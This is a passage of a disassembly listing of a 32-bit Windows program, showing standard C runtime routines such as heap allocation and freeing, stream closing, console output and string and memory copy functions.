sub_447C9B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447CA1 proc near ; CODE XREF: DMN1:00442818p
; sub_444094+5Cp ...
jmp dword_411ED4
sub_447CA1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447CA7 proc near ; CODE XREF: sub_443A83+142p
; sub_444094+FCp ...
jmp dword_411ED8
sub_447CA7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447CAD proc near ; CODE XREF: sub_443A83+1DBp
; sub_444094+16Dp ...
jmp dword_411EDC
sub_447CAD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447CB3 proc near ; CODE XREF: sub_443A83+1E4p
; sub_444094+176p ...
jmp dword_411EE0
sub_447CB3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447CB9 proc near ; CODE XREF: sub_444025+23p
; sub_444025+4Bp
jmp dword_411EE8
sub_447CB9 endp
; ---------------------------------------------------------------------------
db 2 dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_447CC1 proc near ; CODE XREF: sub_441FC9+15p
; DMN1:0044208Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov eax, [esp+8+arg_0]
mul [esp+8+arg_4]
mov esi, eax
push esi
call sub_449121
pop ecx
mov ebx, eax
test ebx, ebx
jz short loc_447CE8
mov edx, ebx
mov ecx, esi
xor eax, eax
push edi
mov edi, edx
rep stosb
pop edi
mov eax, edx
loc_447CE8: ; CODE XREF: sub_447CC1+17j
mov eax, ebx
pop esi
pop ebx
retn
sub_447CC1 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_447CF1 proc near ; CODE XREF: sub_448071+59p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
or [ebp+var_C], 0FFFFFFFFh
mov ebx, [ebp+arg_0]
add ebx, 0FFFFFFFCh
test dword ptr [ebx], 80000000h
jnz short loc_447D1C
call sub_449321
mov dword ptr [eax], 16h
jmp loc_44805E
; ---------------------------------------------------------------------------
loc_447D1C: ; CODE XREF: sub_447CF1+19j
mov eax, [ebx]
mov edi, eax
and edi, 7FFFFFFFh
lea eax, [ebx-4]
mov [ebp+var_4], eax
lea ebx, [ebx+edi*4-4]
lea esi, [ebx+4]
test dword ptr [esi], 80000000h
jnz loc_447DCC
mov eax, [esi]
lea esi, [esi+eax*4-4]
mov eax, dword_4111E4
cmp [esi], eax
ja short loc_447D81
mov eax, dword_4111DC
cmp [esi], eax
ja short loc_447D69
mov eax, dword_4111D8
cmp [esi], eax
setnbe al
and eax, 1
mov [ebp+var_10], eax
jmp short loc_447D7C
; ---------------------------------------------------------------------------
loc_447D69: ; CODE XREF: sub_447CF1+64j
mov eax, dword_4111E0
cmp [esi], eax
setnbe al
and eax, 1
add eax, 2
mov [ebp+var_10], eax
loc_447D7C: ; CODE XREF: sub_447CF1+76j
mov eax, [ebp+var_10]
jmp short loc_447DB2
; ---------------------------------------------------------------------------
loc_447D81: ; CODE XREF: sub_447CF1+5Bj
mov eax, dword_4111EC
cmp [esi], eax
ja short loc_447D9F
mov eax, dword_4111E8
cmp [esi], eax
setnbe al
and eax, 1
add eax, 4
mov [ebp+var_10], eax
jmp short loc_447DB2
; ---------------------------------------------------------------------------
loc_447D9F: ; CODE XREF: sub_447CF1+97j
mov eax, dword_4111F0
cmp [esi], eax
setnbe al
and eax, 1
add eax, 6
mov [ebp+var_10], eax
loc_447DB2: ; CODE XREF: sub_447CF1+8Ej
; sub_447CF1+ACj
mov eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [esi]
add edi, eax
mov [esi], edi
mov eax, edi
shl eax, 2
mov edx, esi
sub edx, eax
mov [edx+4], edi
mov ebx, esi
loc_447DCC: ; CODE XREF: sub_447CF1+48j
mov eax, [ebp+var_4]
test dword ptr [eax], 80000000h
jnz loc_447EF8
mov eax, [ebp+var_4]
mov edx, [eax]
add edi, edx
mov edx, dword_4111E4
cmp [eax], edx
ja short loc_447E2B
mov eax, [ebp+var_4]
mov edx, dword_4111DC
cmp [eax], edx
ja short loc_447E0F
mov eax, [ebp+var_4]
mov edx, dword_4111D8
cmp [eax], edx
setnbe al
and eax, 1
mov [ebp+var_10], eax
jmp short loc_447E26
; ---------------------------------------------------------------------------
loc_447E0F: ; CODE XREF: sub_447CF1+106j
mov eax, [ebp+var_4]
mov edx, dword_4111E0
cmp [eax], edx
setnbe al
and eax, 1
add eax, 2
mov [ebp+var_10], eax
loc_447E26: ; CODE XREF: sub_447CF1+11Cj
mov eax, [ebp+var_10]
jmp short loc_447E68
; ---------------------------------------------------------------------------
loc_447E2B: ; CODE XREF: sub_447CF1+F9j
mov eax, [ebp+var_4]
mov edx, dword_4111EC
cmp [eax], edx
ja short loc_447E51
mov eax, [ebp+var_4]
mov edx, dword_4111E8
cmp [eax], edx
setnbe al
and eax, 1
add eax, 4
mov [ebp+var_10], eax
jmp short loc_447E68
; ---------------------------------------------------------------------------
loc_447E51: ; CODE XREF: sub_447CF1+145j
mov eax, [ebp+var_4]
mov edx, dword_4111F0
cmp [eax], edx
setnbe al
and eax, 1
add eax, 6
mov [ebp+var_10], eax
loc_447E68: ; CODE XREF: sub_447CF1+138j
; sub_447CF1+15Ej
mov eax, [ebp+var_10]
mov [ebp+var_8], eax
mov eax, [ebp+var_4]
mov eax, [eax-4]
mov [ebp+var_14], eax
cmp eax, [ebp+var_4]
jnz short loc_447EB3
mov eax, [ebp+var_8]
mov dword_4111A8[eax*4], 0
mov eax, [ebp+var_8]
cmp dword_4111F8, eax
jnz short loc_447EEA
jmp short loc_447E9D
; ---------------------------------------------------------------------------
loc_447E97: ; CODE XREF: sub_447CF1+1BEj
inc dword_4111F8
loc_447E9D: ; CODE XREF: sub_447CF1+1A4j
mov eax, dword_4111F8
cmp dword_4111A8[eax*4], 0
jnz short loc_447EB1
cmp eax, 7
jl short loc_447E97
loc_447EB1: ; CODE XREF: sub_447CF1+1B9j
jmp short loc_447EEA
; ---------------------------------------------------------------------------
loc_447EB3: ; CODE XREF: sub_447CF1+189j
mov eax, [ebp+var_4]
mov eax, [eax-8]
mov [ebp+var_18], eax
mov edx, [ebp+var_18]
mov eax, [ebp+var_14]
mov [edx-4], eax
mov edx, [ebp+var_14]
mov eax, [ebp+var_18]
mov [edx-8], eax
mov eax, [ebp+var_8]
mov eax, dword_4111A8[eax*4]
cmp eax, [ebp+var_4]
jnz short loc_447EEA
mov eax, [ebp+var_8]
mov edx, [ebp+var_18]
mov dword_4111A8[eax*4], edx
loc_447EEA: ; CODE XREF: sub_447CF1+1A2j
; sub_447CF1:loc_447EB1j ...
mov [ebx], edi
mov eax, edi
shl eax, 2
mov edx, ebx
sub edx, eax
mov [edx+4], edi
loc_447EF8: ; CODE XREF: sub_447CF1+E4j
cmp edi, dword_4111E4
ja short loc_447F32
cmp edi, dword_4111DC
ja short loc_447F1A
mov eax, dword_4111D8
cmp edi, eax
setnbe al
and eax, 1
mov [ebp+var_10], eax
jmp short loc_447F2D
; ---------------------------------------------------------------------------
loc_447F1A: ; CODE XREF: sub_447CF1+215j
mov eax, dword_4111E0
cmp edi, eax
setnbe al
and eax, 1
add eax, 2
mov [ebp+var_10], eax
loc_447F2D: ; CODE XREF: sub_447CF1+227j
mov eax, [ebp+var_10]
jmp short loc_447F62
; ---------------------------------------------------------------------------
loc_447F32: ; CODE XREF: sub_447CF1+20Dj
cmp edi, dword_4111EC
ja short loc_447F4F
mov eax, dword_4111E8
cmp edi, eax
setnbe al
and eax, 1
add eax, 4
mov [ebp+var_10], eax
jmp short loc_447F62
; ---------------------------------------------------------------------------
loc_447F4F: ; CODE XREF: sub_447CF1+247j
mov eax, dword_4111F0
cmp edi, eax
setnbe al
and eax, 1
add eax, 6
mov [ebp+var_10], eax
loc_447F62: ; CODE XREF: sub_447CF1+23Fj
; sub_447CF1+25Cj
mov eax, [ebp+var_10]
mov [ebp+var_8], eax
cmp [ebp+var_C], eax
jz loc_44805E
cmp [ebp+var_C], 0
jl short loc_447FEA
mov eax, [ebx-4]
mov [ebp+var_14], eax
cmp ebx, [ebp+var_14]
jnz short loc_447FB9
mov eax, [ebp+var_C]
mov dword_4111A8[eax*4], 0
mov eax, [ebp+var_C]
cmp dword_4111F8, eax
jnz short loc_447FEA
jmp short loc_447FA3
; ---------------------------------------------------------------------------
loc_447F9D: ; CODE XREF: sub_447CF1+2C4j
inc dword_4111F8
loc_447FA3: ; CODE XREF: sub_447CF1+2AAj
mov eax, dword_4111F8
cmp dword_4111A8[eax*4], 0
jnz short loc_447FB7
cmp eax, 7
jl short loc_447F9D
loc_447FB7: ; CODE XREF: sub_447CF1+2BFj
jmp short loc_447FEA
; ---------------------------------------------------------------------------
loc_447FB9: ; CODE XREF: sub_447CF1+28Fj
mov eax, [ebx-8]
mov [ebp+var_18], eax
mov edx, [ebp+var_18]
mov eax, [ebp+var_14]
mov [edx-4], eax
mov edx, [ebp+var_14]
mov eax, [ebp+var_18]
mov [edx-8], eax
mov eax, [ebp+var_C]
cmp ebx, dword_4111A8[eax*4]
jnz short loc_447FEA
mov eax, [ebp+var_C]
mov edx, [ebp+var_18]
mov dword_4111A8[eax*4], edx
loc_447FEA: ; CODE XREF: sub_447CF1+284j
; sub_447CF1+2A8j ...
mov eax, [ebp+var_8]
mov eax, dword_4111A8[eax*4]
mov [ebp+var_18], eax
test eax, eax
jnz short loc_448020
mov [ebp+var_14], ebx
mov [ebp+var_18], ebx
mov eax, [ebp+var_8]
mov dword_4111A8[eax*4], ebx
mov eax, [ebp+var_8]
cmp dword_4111F8, eax
jle short loc_448029
mov eax, [ebp+var_8]
mov dword_4111F8, eax
jmp short loc_448029
; ---------------------------------------------------------------------------
loc_448020: ; CODE XREF: sub_447CF1+308j
mov eax, [ebp+var_18]
mov eax, [eax-8]
mov [ebp+var_14], eax
loc_448029: ; CODE XREF: sub_447CF1+323j
; sub_447CF1+32Dj
mov eax, [ebp+var_18]
mov [ebx-4], eax
mov edx, [ebp+var_18]
mov [edx-8], ebx
mov edx, [ebp+var_14]
mov [edx-4], ebx
mov eax, [ebp+var_14]
mov [ebx-8], eax
mov eax, edi
shl eax, 2
mov edx, ebx
sub edx, eax
mov [edx+4], edi
mov [ebx], edi
mov eax, [ebp+var_8]
mov dword_4111FC, eax
mov dword_4111A8[eax*4], ebx
loc_44805E: ; CODE XREF: sub_447CF1+26j
; sub_447CF1+27Aj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_447CF1 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BFh, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_448071 proc near ; CODE XREF: sub_441FF7+Fp
; DMN1:004420B9p ...
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 004480E4 SIZE 00000011 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F864
push offset sub_4083B8
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
test ebx, ebx
jz short loc_4480E4
lea eax, [ebx-4]
cmp eax, dword_4111D0
jbe short loc_4480B1
cmp eax, dword_4111CC
jb short loc_4480BA
loc_4480B1: ; CODE XREF: sub_448071+36j
push ebx
call sub_4495B1
pop ecx
jmp short loc_4480E4
; ---------------------------------------------------------------------------
loc_4480BA: ; CODE XREF: sub_448071+3Ej
push 0
call sub_4496C1
pop ecx
mov [ebp+var_4], 0
push ebx
call sub_447CF1
pop ecx
or [ebp+var_4], 0FFFFFFFFh
call sub_4480DB
jmp short loc_4480E4
sub_448071 endp
; =============== S U B R O U T I N E =======================================
sub_4480DB proc near ; CODE XREF: sub_448071+63p
push 0
call sub_449741
pop ecx
retn
sub_4480DB endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_448071
loc_4480E4: ; CODE XREF: sub_448071+2Bj
; sub_448071+47j ...
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_448071
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BFh, 4 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+8]
mov esi, [ebp+10h]
mov edi, ebx
cmp [edi+4], esi
jnb short loc_448117
mov esi, [edi+4]
loc_448117: ; CODE XREF: DMN1:00448112j
push esi
mov eax, [ebp+0Ch]
push eax
mov eax, [edi]
push eax
call sub_4485B1
add esp, 0Ch
mov eax, [edi]
add eax, esi
mov [edi], eax
sub [edi+4], esi
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
db 8Dh, 7Fh, 0
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_448141 proc near ; CODE XREF: DMN1:00442071p
; DMN1:004420A1p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 8
push ebx
cmp [ebp+arg_4], 0
jnz short loc_44815D
lea eax, [ebp+var_4]
mov [ebp+var_8], eax
mov [ebp+var_4], 0
jmp short loc_44816D
; ---------------------------------------------------------------------------
loc_44815D: ; CODE XREF: sub_448141+Bj
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
dec eax
mov [ebp+arg_4], eax
mov [ebp+var_4], eax
loc_44816D: ; CODE XREF: sub_448141+1Aj
mov eax, [ebp+arg_C]
push eax
mov eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_8]
push eax
push offset sub_407180
call sub_449761
add esp, 10h
mov ebx, eax
mov edx, [ebp+var_8]
mov byte ptr [edx], 0
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
retn
sub_448141 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BFh, 4 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
mov ebx, [ebp+8]
mov esi, [ebp+10h]
push 0
lea eax, [ebp-4]
push eax
push esi
mov eax, [ebp+0Ch]
push eax
push ebx
call dword_411D94 ; WriteConsoleA
test eax, eax
jz short loc_4481CF
cmp [ebp-4], esi
jnz short loc_4481CF
mov edi, ebx
jmp short loc_4481D1
; ---------------------------------------------------------------------------
loc_4481CF: ; CODE XREF: DMN1:004481C4j
; DMN1:004481C9j
xor edi, edi
loc_4481D1: ; CODE XREF: DMN1:004481CDj
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4481E1 proc near ; CODE XREF: DMN1:004420B1p
; DMN1:004420CDp ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
call sub_4499E1
mov ebx, eax
cmp eax, 0FFFFFFFFh
jnz short loc_4481FA
or eax, 0FFFFFFFFh
jmp short loc_448212
; ---------------------------------------------------------------------------
loc_4481FA: ; CODE XREF: sub_4481E1+12j
lea edi, [ebp+arg_4]
push edi
mov eax, [ebp+arg_0]
push eax
push ebx
push offset sub_407220
call sub_449761
add esp, 10h
mov esi, eax
loc_448212: ; CODE XREF: sub_4481E1+17j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4481E1 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Fh, 0
db 8Dh, 0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+10h]
push ebx
mov eax, [ebp+0Ch]
push eax
mov eax, [ebp+8]
push eax
call sub_4485B1
add esp, 0Ch
add eax, ebx
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
db 8Dh, 7Fh, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_448241 proc near ; CODE XREF: DMN1:0044214Dp
; sub_44352A+17Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
lea esi, [ebp+arg_8]
push esi
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
push offset sub_4072A0
call sub_449761
add esp, 10h
mov ebx, eax
test ebx, ebx
jl short loc_44826C
mov eax, [ebp+arg_0]
mov byte ptr [eax+ebx], 0
loc_44826C: ; CODE XREF: sub_448241+22j
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_448241 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_448281 proc near ; CODE XREF: DMN1:00442172p
; sub_4447B9+77p ...
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 004482E5 SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F870
push offset sub_4083B8
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
push 6
call sub_4496C1
pop ecx
mov [ebp+var_4], 0
call sub_449A41
push 0FFFFFFFFh
push eax
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_449AA1
add esp, 10h
mov [ebp+var_1C], eax
or [ebp+var_4], 0FFFFFFFFh
call sub_4482DC
jmp short loc_4482E5
sub_448281 endp
; =============== S U B R O U T I N E =======================================
sub_4482DC proc near ; CODE XREF: sub_448281+54p
push 6
call sub_449741
pop ecx
retn
sub_4482DC endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_448281
loc_4482E5: ; CODE XREF: sub_448281+59j
mov eax, [ebp+var_1C]
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_448281
; ---------------------------------------------------------------------------
db 90h
db 8Dh, 0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+8]
mov esi, [ebp+10h]
push ebx
push esi
push 1
mov eax, [ebp+0Ch]
push eax
call sub_4486E1
add esp, 10h
cmp eax, esi
jnz short loc_448325
mov edi, ebx
jmp short loc_448327
; ---------------------------------------------------------------------------
loc_448325: ; CODE XREF: DMN1:0044831Fj
xor edi, edi
loc_448327: ; CODE XREF: DMN1:00448323j
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
db 8Dh, 7Fh, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_448331 proc near ; CODE XREF: DMN1:0044218Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
push offset sub_407380
call sub_449761
add esp, 10h
mov ebx, eax
pop ebx
pop ebp
retn
sub_448331 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
push ebx
xor ebx, ebx
loc_448364: ; CODE XREF: DMN1:0044837Dj
mov eax, off_411370[ebx*4]
test eax, eax
jz short loc_448376
push eax
call sub_4484E1
pop ecx
loc_448376: ; CODE XREF: DMN1:0044836Dj
inc ebx
cmp ebx, 100h
jb short loc_448364
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_448381 proc near ; CODE XREF: sub_449AA1:loc_449BD5p
; sub_449E21+B2p ...
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 004483E8 SIZE 00000011 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F87C
push offset sub_4083B8
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_18], esp
push 6
call sub_4496C1
pop ecx
mov [ebp+var_4], 0
cmp dword_41105C, 0
jnz short loc_4483D4
mov dword_41105C, 1
push offset sub_4073E0
call sub_449BF1
pop ecx
loc_4483D4: ; CODE XREF: sub_448381+3Cj
or [ebp+var_4], 0FFFFFFFFh
call sub_4483DF
jmp short loc_4483E8
sub_448381 endp
; =============== S U B R O U T I N E =======================================
sub_4483DF proc near ; CODE XREF: sub_448381+57p
push 6
call sub_449741
pop ecx
retn
sub_4483DF endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_448381
loc_4483E8: ; CODE XREF: sub_448381+5Cj
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_448381
; ---------------------------------------------------------------------------
db 90h
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_448401 proc near ; CODE XREF: sub_4484E1+39p
arg_0 = dword ptr 4
push ebx
push esi
push edi
mov ebx, [esp+0Ch+arg_0]
push ebx
call sub_449C21
pop ecx
mov esi, eax
test word ptr [ebx], 40h
jz short loc_448422
mov eax, [ebx+8]
push eax
call sub_448071
pop ecx
loc_448422: ; CODE XREF: sub_448401+15j
mov dword ptr [ebx+8], 0
mov eax, [ebx+4]
test eax, eax
jl short loc_44843E
push eax
call sub_449DA1
pop ecx
test eax, eax
jz short loc_44843E
or esi, 0FFFFFFFFh
loc_44843E: ; CODE XREF: sub_448401+2Dj
; sub_448401+38j
mov eax, [ebx+3Ch]
test eax, eax
jz short loc_448464
push eax
call sub_448A11
pop ecx
test eax, eax
jz short loc_448453
or esi, 0FFFFFFFFh
loc_448453: ; CODE XREF: sub_448401+4Dj
mov eax, [ebx+3Ch]
push eax
call sub_448071
pop ecx
mov dword ptr [ebx+3Ch], 0
loc_448464: ; CODE XREF: sub_448401+42j
test word ptr [ebx], 80h
jz short loc_448495
xor edi, edi
loc_44846D: ; CODE XREF: sub_448401+89j
cmp ebx, off_411370[edi*4]
jnz short loc_448483
mov off_411370[edi*4], 0
jmp short loc_44848C
; ---------------------------------------------------------------------------
loc_448483: ; CODE XREF: sub_448401+73j
inc edi
cmp edi, 100h
jb short loc_44846D
loc_44848C: ; CODE XREF: sub_448401+80j
push ebx
call sub_448071
pop ecx
jmp short loc_4484CE
; ---------------------------------------------------------------------------
loc_448495: ; CODE XREF: sub_448401+68j
mov word ptr [ebx], 0
or dword ptr [ebx+4], 0FFFFFFFFh
lea eax, [ebx+48h]
mov [ebx+8], eax
lea eax, [ebx+48h]
mov [ebx+10h], eax
lea eax, [ebx+48h]
mov [ebx+14h], eax
lea eax, [ebx+48h]
mov [ebx+2Ch], eax
lea eax, [ebx+48h]
mov [ebx+18h], eax
lea eax, [ebx+48h]
mov [ebx+30h], eax
lea eax, [ebx+48h]
mov [ebx+1Ch], eax
lea eax, [ebx+28h]
mov [ebx+20h], eax
loc_4484CE: ; CODE XREF: sub_448401+92j
mov eax, esi
pop edi
pop esi
pop ebx
retn
sub_448401 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4484E1 proc near ; CODE XREF: DMN1:00442195p
; sub_4447B9+108p ...
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 00448537 SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F888
push offset sub_4083B8
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
push 6
call sub_4496C1
pop ecx
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
push eax
call sub_448401
pop ecx
mov [ebp+var_1C], eax
or [ebp+var_4], 0FFFFFFFFh
call sub_44852E
jmp short loc_448537
sub_4484E1 endp
; =============== S U B R O U T I N E =======================================
sub_44852E proc near ; CODE XREF: sub_4484E1+46p
push 6
call sub_449741
pop ecx
retn
sub_44852E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4484E1
loc_448537: ; CODE XREF: sub_4484E1+4Bj
mov eax, [ebp+var_1C]
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_4484E1
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_448551 proc near ; CODE XREF: sub_4424E8+Fp
; sub_442538+Fp ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
test edx, edx
jz short loc_44859F
mov ecx, [esp+arg_0]
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_448598
neg ecx
and ecx, 3
jz short loc_44857A
sub edx, ecx
loc_448574: ; CODE XREF: sub_448551+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_448574
loc_44857A: ; CODE XREF: sub_448551+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_448598
rep stosd
test edx, edx
jz short loc_44859E
loc_448598: ; CODE XREF: sub_448551+18j
; sub_448551+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_448598
loc_44859E: ; CODE XREF: sub_448551+45j
pop edi
loc_44859F: ; CODE XREF: sub_448551+6j
mov eax, [esp+arg_0]
retn
sub_448551 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_4485B1 proc near ; CODE XREF: sub_4429D6+2Cp
; sub_442A5B+57p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
mov ecx, [esp+4+arg_8]
mov ebx, [esp+4+arg_0]
mov edx, [esp+4+arg_4]
jmp short loc_4485C7
; ---------------------------------------------------------------------------
loc_4485C0: ; CODE XREF: sub_4485B1+18j
mov al, [edx]
mov [ebx], al
inc ebx
inc edx
dec ecx
loc_4485C7: ; CODE XREF: sub_4485B1+Dj
test ecx, ecx
jnz short loc_4485C0
mov eax, [esp+4+arg_0]
pop ebx
retn
sub_4485B1 endp
; =============== S U B R O U T I N E =======================================
sub_4485D1 proc near ; CODE XREF: sub_443189+2Ep
; sub_443492+11p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
mov edx, ecx
jmp short loc_4485DA
; ---------------------------------------------------------------------------
loc_4485D9: ; CODE XREF: sub_4485D1+Cj
inc edx
loc_4485DA: ; CODE XREF: sub_4485D1+6j
cmp byte ptr [edx], 0
jnz short loc_4485D9
mov eax, edx
sub eax, ecx
retn
sub_4485D1 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_4485F1 proc near ; CODE XREF: sub_443217+3Fp
; sub_44352A+2D6p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push edi
mov ecx, [esp+8+arg_0]
mov ebx, [esp+8+arg_4]
mov edi, ecx
loc_4485FD: ; CODE XREF: sub_4485F1+18j
mov eax, edi
inc edi
mov edx, ebx
inc ebx
mov dl, [edx]
mov [eax], dl
test dl, dl
jnz short loc_4485FD
mov eax, ecx
pop edi
pop ebx
retn
sub_4485F1 endp
; ---------------------------------------------------------------------------
db 90h
; =============== S U B R O U T I N E =======================================
sub_448611 proc near ; CODE XREF: sub_443217+53p
; sub_443217+66p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ecx, [esp+4+arg_0]
mov ebx, [esp+4+arg_4]
mov edx, ecx
jmp short loc_44861F
; ---------------------------------------------------------------------------
loc_44861E: ; CODE XREF: sub_448611+11j
inc edx
loc_44861F: ; CODE XREF: sub_448611+Bj
cmp byte ptr [edx], 0
jnz short loc_44861E
jmp short loc_448628
; ---------------------------------------------------------------------------
loc_448626: ; CODE XREF: sub_448611+1Dj
inc edx
inc ebx
loc_448628: ; CODE XREF: sub_448611+13j
mov al, [ebx]
mov [edx], al
test al, al
jnz short loc_448626
mov eax, ecx
pop ebx
retn
sub_448611 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
